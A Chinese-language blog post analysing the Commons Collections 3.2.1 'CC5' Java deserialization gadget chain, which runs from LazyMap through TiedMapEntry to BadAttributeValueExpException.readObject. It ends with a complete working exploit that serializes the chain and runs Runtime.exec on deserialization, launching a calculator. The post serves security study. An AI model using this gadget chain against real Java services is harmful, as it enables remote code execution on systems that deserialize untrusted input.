Java反序列化 CC5链分析

前言

在JDK 8u71及以后,sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法被官方修改,加固了反序列化流程,不能再直接使用CC1调用LazyMap.get()触发恶意链条,因此需要尝试换个思路来搭建利用链。后半部分还是CC1的LazyMap,前半部分改成其他方式,这也是今天我们要分析的

环境配置

用的还是Commons Collection 3.2.1,修改pom.xml如下

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

过程分析

后半部分

后半部分用的还是CC1的LazyMap,具体可以参考文章Java反序列化 CC1链分析 (LazyMap)

这里我直接拿来用了

1
2
3
4
5
6
7
8
9
10
11
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);

咱们写个程序验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);
// 调用LazyMap.get()方法
decorate.get(1);
}
}

成功弹出计算器

前半部分

首先我们寻找哪里调用了get方法,CC链作者找到TiedMapEntry里的getValue()调用了get方法

继续跟进,我们看看哪里调用了getValue方法,发现该类的toString方法调用了getValue

我们看看TiedMapEntry的构造函数,发现map参数可控,然后key我们随便传个值就可以

接着继续找哪里调用了toString方法,我们alt+F7查找用法

结果比较多,这里我们直接定位到CC链作者找到的BadAttributeValueExpException 类,发现该类的readObject调用了toString方法,同时还是反序列化的入口,满足我们的要求

但是我们看BadAttributeValueExpException的继承类,并没有看到Serializable

不过不用担心,因为BadAttributeValueExpException继承了Exception ,而Exception又继承了Serializable,因此BadAttributeValueExpException间接继承了Serializable,这个问题也就解决了

然后我们看看BadAttributeValueExpException的构造函数,发现如果传入的val不为null,就会对val调用toString方法

如果我们直接通过构造函数传入恶意对象,如TiedMapEntry,那么val.toString()会在构造阶段就被调用,提前触发gadget链,不能等到反序列化时触发,这并不是我们想要的

所以我们先传个null,后面再通过反射把this.val字段改成自定义对象,这样问题就解决了

我们再回到readObject进行分析,可以看到valObj的值是通过val变量获取的,然后继续往下看,当System.getSecurityManager() == null或者val为基本类型时才会触发valObj.toString()

但是我们传入的valObjTiedMapEntry类型的,这就只能看第一个条件是否满足了,也就是System.getSecurityManager()是否为null

默认情况下,SecurityManager是关闭的,问AI是这样回答的

当然也可以自行验证一下

1
2
3
4
5
public class Main {
public static void main(String[] args) throws Exception {
System.out.println(System.getSecurityManager());
}
}

返回的结果为null

因此这个问题就解决了,根据之前的内容,我们构造核心代码如下

1
2
3
4
5
6
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

BadAttributeValueExpException o = new BadAttributeValueExpException(null);
Field field = o.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(o, tiedMapEntry);

最终利用

综合前面两个部分,我们可以得到完整exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

BadAttributeValueExpException o = new BadAttributeValueExpException(null);
Field field = o.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(o, tiedMapEntry);

serialize(o);
unserialize("cc5.ser");

}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

成功弹出计算器

为了更直观的理解,这里放个CC5的流程图

至此,CC5的利用链分析结束

作者

WayneJoon.H

发布于

2025-11-18

许可协议